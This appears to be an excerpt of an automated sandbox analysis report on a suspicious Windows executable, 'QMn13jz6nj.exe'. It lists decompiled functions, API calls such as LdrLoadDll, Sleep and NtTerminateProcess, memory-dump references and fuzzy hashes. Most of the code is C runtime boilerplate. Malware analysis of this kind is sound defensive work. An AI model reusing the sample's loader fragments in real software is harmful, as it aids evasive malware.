0x00408d3e
0x00408ccf
0x00408cd9
0x00408cd9

APIs

_malloc.LIBCMT ref: 00408CD2

Part of subcall function 00408C30: __FF_MSGBANNER.LIBCMT ref: 00408C49
Part of subcall function 00408C30: __NMSG_WRITE.LIBCMT ref: 00408C50
Part of subcall function 00408C30: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,004058E5,?,00000001,?,?,00404593,00000018,0041D628,0000000C,00404623), ref: 00408C75

_free.LIBCMT ref: 00408CE5

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: feb777a1dbe4e781ce3e6dbfd8b2708f64f5e9e03e69b88af538e0fa237ccaa8
Instruction ID: a9af400e68806cea17c7cadc5e166346e022f35b8890730c2d41f0506bf5f206
Opcode Fuzzy Hash: feb777a1dbe4e781ce3e6dbfd8b2708f64f5e9e03e69b88af538e0fa237ccaa8
Instruction Fuzzy Hash: C9110832505615ABDB213F75AE0469A3BA4AF943B1F20853FF8C9BA2D1DF3CC941429C

Uniqueness

Uniqueness Score: -1.00%

Function 00406FC6, Relevance: 7.5, APIs: 5, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00406FC6(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t12;
				void* _t28;
				intOrPtr _t29;
				void* _t30;
				void* _t31;

				_t31 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t20 = __ebx;
				_push(0xc);
				_push(0x41d7b8);
				E004031D0(__ebx, __edi, __esi);
				_t28 = E00404A8F(__ebx, __edx, _t31);
				_t12 =  *0x41fad0; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t12) == 0) {
					L6:
					E00404608(_t20, _t26, 0xc);
					 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
					_t29 = _t28 + 0x6c;
					 *((intOrPtr*)(_t30 - 0x1c)) = E00406F79(_t29,  *0x41fd18);
					 *(_t30 - 4) = 0xfffffffe;
					E00407033();
				} else {
					_t33 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t29 =  *((intOrPtr*)(E00404A8F(_t20, __edx, _t33) + 0x6c));
					}
				}
				_t34 = _t29;
				if(_t29 == 0) {
					_push(0x20);
					E0040285E(_t25, _t34);
				}
				return E00403215(_t29);
			}

0x00406fc6
0x00406fc6
0x00406fc6
0x00406fc6
0x00406fc6
0x00406fc8
0x00406fcd
0x00406fd7
0x00406fd9
0x00406fe1
0x00407005
0x00407007
0x0040700d
0x00407017
0x00407022
0x00407025
0x0040702c
0x00406fe3
0x00406fe3
0x00406fe7
0x00000000
0x00406fe9
0x00406fee
0x00406fee
0x00406fe7
0x00406ff1
0x00406ff3
0x00406ff5
0x00406ff7
0x00406ffc
0x00407004

APIs

__getptd.LIBCMT ref: 00406FD2

Part of subcall function 00404A8F: __getptd_noexit.LIBCMT ref: 00404A92
Part of subcall function 00404A8F: __amsg_exit.LIBCMT ref: 00404A9F

__getptd.LIBCMT ref: 00406FE9
__amsg_exit.LIBCMT ref: 00406FF7
__lock.LIBCMT ref: 00407007
__updatetlocinfoEx_nolock.LIBCMT ref: 0040701B

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: c274ff73cd1943e6d2d1c169b9ac937076e08077299a0b2e584956e103482cc0
Instruction ID: 91f39fae89b94a2c104dc4b2e59cfdb7e7cd02d6e70d7405f6a1f87700ad29ca
Opcode Fuzzy Hash: c274ff73cd1943e6d2d1c169b9ac937076e08077299a0b2e584956e103482cc0
Instruction Fuzzy Hash: A6F0F6329882118AD711BB756803B5D32A09F40328F11423FF505772D2CB7C69419A8E

Uniqueness

Uniqueness Score: -1.00%

Function 00408DB3, Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408DB3(void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				char _t59;
				short* _t60;
				int _t65;
				char* _t73;

				_t73 = _a8;
				if(_t73 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t73 != 0) {
						E00403441( &_v20, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E00408EE3( *_t73 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t73, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0040317C(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t73[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t73, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t73 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x00408dbd
0x00408dc4
0x00408ddb
0x00000000
0x00408dcb
0x00408dcd
0x00408de7
0x00408dec
0x00408def
0x00408df2
0x00408e1a
0x00408e21
0x00408e23
0x00408ea4
0x00408ebf
0x00408ec1
0x00408e01
0x00408e01
0x00408e04
0x00408e06
0x00408e09
0x00408e09
0x00408e09
0x00408e09
0x00000000
0x00408e0f
0x00408e83
0x00408e83
0x00408e88
0x00408e8e
0x00408e91
0x00408e93
0x00408e96
0x00408e96
0x00408e96
0x00408e96
0x00000000
0x00408e9a
0x00408e25
0x00408e28
0x00408e2e
0x00408e31
0x00408e58
0x00408e5b
0x00408e61
0x00000000
0x00000000
0x00408e63
0x00408e66
0x00000000
0x00000000
0x00408e68
0x00408e68
0x00408e6e
0x00408e71
0x00408de0
0x00408de0
0x00408e7a
0x00000000
0x00408e7a
0x00408e33
0x00408e36
0x00000000
0x00000000
0x00408e3a
0x00408e4b
0x00408e51
0x00408e53
0x00408e56
0x00000000
0x00000000
0x00000000
0x00408e56
0x00408df4
0x00408df7
0x00408df9
0x00408dfe
0x00408dfe
0x00000000
0x00408dcf
0x00408dcf
0x00408dd4
0x00408dd8
0x00408dd8
0x00000000
0x00408dd4
0x00408dcd

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00408DE7
__isleadbyte_l.LIBCMT ref: 00408E1A
MultiByteToWideChar.KERNEL32(?,00000009,00000929,?,?,00000000,?,?,?,000000EA,00000929), ref: 00408E4B
MultiByteToWideChar.KERNEL32(?,00000009,00000929,00000001,?,00000000,?,?,?,000000EA,00000929), ref: 00408EB9

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 6a30b995458b3a9f43c8ac70bfef589a7a4441f4b7305cd99d68b7b38ad92718
Instruction ID: 124dff84f1f9684a44de91d1ae072ab928272c1f39db31f2a7272a5424af1849
Opcode Fuzzy Hash: 6a30b995458b3a9f43c8ac70bfef589a7a4441f4b7305cd99d68b7b38ad92718
Instruction Fuzzy Hash: 60319F31A00255EFDF10DF64C980AAF3BA5AF01311B158A7EE4A5EB2D1DB34D940DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00407ED3, Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407ED3(void* __ebx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E004077C5(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E004078AC(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00407DE6(__ebx, __edx, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00407D25(__ebx, __edx, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00407ed8
0x00407ede
0x00407f51
0x00000000
0x00407ee5
0x00407ee5
0x00407ee8
0x00407f03
0x00407f06
0x00407f26
0x00407f38
0x00407f08
0x00407f08
0x00407f0b
0x00000000
0x00407f0d
0x00407f1f
0x00407f1f
0x00407f0b
0x00407f56
0x00407f5a
0x00407eea
0x00407f02
0x00407f02
0x00407ee8

APIs

__cftof_l.LIBCMT ref: 00407EF9

Part of subcall function 00407D25: __fltout2.LIBCMT ref: 00407D50

__cftog_l.LIBCMT ref: 00407F1F
__cftoe_l.LIBCMT ref: 00407F51

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 1f3fdcc9df4595dbfe1bd2d08adeee606bd5648eaf1414aeb9016526cfa9f1a9
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 2711593280814EBBCF125F85DC01CEE3F62BF18354B548426FE1865171D73AE972AB8A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: QMn13jz6nj.exe PID: 3416 Parent PID: 2228 QMn13jz6nj.exeCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000002.00000002.374134319.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000002.00000002.374134319.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000002.00000002.374134319.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Function 004027ED, Relevance: 1.5, APIs: 1, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004027ED(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t9;
				long _t12;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				void* _t23;
				UNICODE_STRING* _t24;
				intOrPtr* _t25;
				intOrPtr* _t26;

				_t9 = 0x2824;
				_t18 =  *_t25;
				_t26 = _t25 + 4;
				E004012AB(_t9, _t16, _t18, _t20, _t21, _t23, __eflags);
				_t17 = _a4;
				_t24 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t24, _a8, 0x53);
				_t22 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t24,  &_v8);
				_t29 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_push(0x53);
				_t19 =  *_t26;
				E004012AB(0x2824, _t17, _t19, _t20, _t22, _t24, _t29);
				return _v8;
			}

0x00402800
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000002.00000001.303473411.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction ID: 86d1809ebd5855410281f38b9c9c6c09a144d2210cd9b7f1e60e22e0793f0f49
Opcode Fuzzy Hash: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction Fuzzy Hash: CD01D43BA08105E7D6007A818A4DF6A7724EB50744F20C137A6077A1C0C5FC9A07E7BB

Uniqueness

Uniqueness Score: -1.00%

Function 0040280A, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040280A(intOrPtr __ebx, HMODULE* __edi, UNICODE_STRING* __esi, void* __eflags) {
				void* __ebp;
				void* _t12;
				long _t15;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				UNICODE_STRING* _t23;
				void* _t25;
				intOrPtr* _t26;

				_t29 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				_t16 = __ebx;
				if(__eflags < 0) {
					if(__eflags >= 0) {
						__ecx = __ecx + 1;
						__eflags = __bl;
						_t12 = 0x2824;
					} else {
					}
					_t19 =  *_t26;
					_t26 = _t26 + 4;
					E004012AB(_t12, _t16, _t19, _t20, _t21, _t23, _t29);
					_t16 =  *((intOrPtr*)(_t25 + 8));
					_t23 = _t25 - 0xc;
					 *((intOrPtr*)( *((intOrPtr*)(_t25 + 8)) + 0xc))(_t23,  *((intOrPtr*)(_t25 + 0xc)), 0x53);
					_t21 = _t25 - 4;
					_t15 = LdrLoadDll(0, 0, _t23, _t25 - 4);
					_t30 = _t15;
					if(_t15 != 0) {
						 *(_t25 - 4) = 0;
					}
				}
				_push(0x53);
				_t18 =  *_t26;
				E004012AB(0x2824, _t16, _t18, _t20, _t21, _t23, _t30);
				return  *(_t25 - 4);
			}

0x0040280a
0x0040280a
0x0040280a
0x0040280a
0x0040280b
0x0040280d
0x00402803
0x00402804
0x00402800
0x0040280f
0x0040280f
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402848
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000002.00000001.303473411.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction ID: 9ca859c839910d9830ac79efeaa13c409ccf86f2f3a4ee59ee812277144ea7f3
Opcode Fuzzy Hash: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction Fuzzy Hash: B901843BA04105E7DA00BA819A4DBAE7764AB50704F10C57BE6077A1C5C6FC9607A76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281A, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040281A(void* __eax, void* __ebx, void* __edi, void* __esi) {
				long _t12;
				intOrPtr _t19;
				intOrPtr _t20;
				void* _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				void* _t34;

				_t34 = __eax - 0x90;
				_t19 =  *_t30;
				_t31 = _t30 + 4;
				E004012AB(__eax, __ebx, _t19, _t21, __edi, __esi, _t34);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), 0x53);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t35 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t31;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t35);
				return  *(_t28 - 4);
			}

0x0040281a
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000002.00000001.303473411.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction ID: 04be1964ae6a2c4a8d34668d02d656748d1177ed5934df91e255a91300bf99b4
Opcode Fuzzy Hash: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction Fuzzy Hash: 58F0A43AA04105D7DB00BA81CA49B9D7720AB51704F10C57BE6067A1C4C6B99707E76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281E, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040281E(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				void* __edi;
				void* _t9;
				long _t12;
				intOrPtr _t20;
				void* _t21;
				void* _t22;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				E004012AB(_t9, __ebx, __ecx, _t21, _t22, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t22);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t30;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t34);
				return  *(_t28 - 4);
			}

0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000002.00000001.303473411.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction ID: 3fd11184bcf92e870777245e351188805b8424fcd9c3dcde69815370b47807fd
Opcode Fuzzy Hash: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction Fuzzy Hash: 9DF0303AA04105E7DB00BA91CA89B9E7770EB51714F10C16BE6067A1C4C6B89707E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040250A, Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

(3_\, xrefs: 00402527

Memory Dump Source

Source File: 00000002.00000002.374134319.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: (3_\
API String ID: 0-1024548672
Opcode ID: 4a267a5a5f6b649a77e844de47957a3dbb9b510094ac05e3fc21bbb07d5a18e4
Instruction ID: 64c156a0781b3c67ba192cd992c8aad639144a23081a5c252ffbc859459b19b0
Opcode Fuzzy Hash: 4a267a5a5f6b649a77e844de47957a3dbb9b510094ac05e3fc21bbb07d5a18e4
Instruction Fuzzy Hash: 60113B7911520D6FE33C8A6995A00C2B796FF85608BA1284DD3818FE03C932B493CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00402000, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.374134319.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction ID: abc276a2ba0a36a85ab5b5df61cf416fa3bc2d73c79843c5fd07df71a10c5fed
Opcode Fuzzy Hash: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction Fuzzy Hash: 3A012B7400430CBED2289660D589453BBA8FBC1344F601D2EC3423BCE2C979B857D697

Uniqueness

Uniqueness Score: -1.00%

Function 00402000, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000001.303473411.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction ID: abc276a2ba0a36a85ab5b5df61cf416fa3bc2d73c79843c5fd07df71a10c5fed
Opcode Fuzzy Hash: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction Fuzzy Hash: 3A012B7400430CBED2289660D589453BBA8FBC1344F601D2EC3423BCE2C979B857D697

Uniqueness

Uniqueness Score: -1.00%

